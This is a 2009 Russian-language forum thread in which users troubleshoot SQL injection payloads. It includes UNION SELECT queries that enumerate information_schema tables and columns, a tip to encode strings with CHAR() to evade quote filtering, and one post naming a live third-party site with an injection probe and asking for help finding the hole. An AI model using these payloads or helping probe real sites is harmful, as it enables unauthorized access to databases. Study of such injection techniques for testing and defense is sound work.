Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
23.01.2009, 17:34
|
|
Познающий
Регистрация: 24.12.2008
Сообщений: 54
С нами:
9147012
Репутация:
9
|
|
Сообщение от kevmen
здравствуйте
http://localhost/view_cat.php?cat=-1+union+select+1,2,column_name,4,5,6,7,8,9+from+in formation_schema.COLUMNS+where+table_name='user'+l imit+1,2
Не выводит ничего!
Хотя запрос вида
http://localhost/school/view_cat.php?cat=-1+union+select+1,2,table_name,4,5,6,7,8,9+from+inf ormation_schema.tables
работатет и выводиться список всех таблиц,в чем моя ошибка?
мне посоветовали перевести в hex
Тогда такой вопрос?
Зачем ?Если скрипт написал я сам для практики и никакой фильтрации там нет!
Попробуй 'user' заменить на ('user')
|
|
|
23.01.2009, 17:37
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
Сообщение от Gemini12
Попробуй 'user' заменить на ('user')
не работает 
|
|
|
|
23.01.2009, 17:45
|
|
Познающий
Регистрация: 24.12.2008
Сообщений: 54
С нами:
9147012
Репутация:
9
|
|
Не могу нащупать скулю
Код:
http://www.hc.kz/index.php?action=showpart&part_id=-1'
Может кто поможет? |
|
|
|
23.01.2009, 17:30
|
|
Участник форума
Регистрация: 20.08.2006
Сообщений: 199
С нами:
10380780
Репутация:
131
|
|
kevmen, попробуй table_name='user' заменить на TABLE_NAME=CHAR(117,115,101,114)
да и запросы по разному пути
/school/view_cat.php и /view_cat.php
Последний раз редактировалось BloodyMessage; 23.01.2009 в 17:35..
|
|
|
|
23.01.2009, 18:23
|
|
Познающий
Регистрация: 24.12.2008
Сообщений: 54
С нами:
9147012
Репутация:
9
|
|
Сообщение от BloodyMessage
kevmen, попробуй table_name='user' заменить на TABLE_NAME=CHAR(117,115,101,114)
да и запросы по разному пути
/school/view_cat.php и /view_cat.php
А можно поподробней? Где можно взять эту таблицу значений цифр?
|
|
|
|
23.01.2009, 17:35
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
BloodyMessage,спасибо огромное)обясни только в чем проблема была?в кодировке? =)
|
|
|
|
23.01.2009, 17:37
|
|
Участник форума
Регистрация: 20.08.2006
Сообщений: 199
С нами:
10380780
Репутация:
131
|
|
kevmen, видать ковычки фильтрует
|
|
|
|
23.01.2009, 17:39
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
BloodyMessage,база?
А разве база сама может фильтровать?
Извини,если вопрос глупый
|
|
|
|
23.01.2009, 17:45
|
|
Участник форума
Регистрация: 20.08.2006
Сообщений: 199
С нами:
10380780
Репутация:
131
|
|
kevmen, а причем база? Скрипты то фильтруют.
|
|
|
|
23.01.2009, 18:29
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
Сообщение от BloodyMessage
kevmen, а причем база? Скрипты то фильтруют.
я же написал скрип самописный и никакой фильтрации нет
|
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
|
|
|
|
Похожие темы
Комбинированный вид
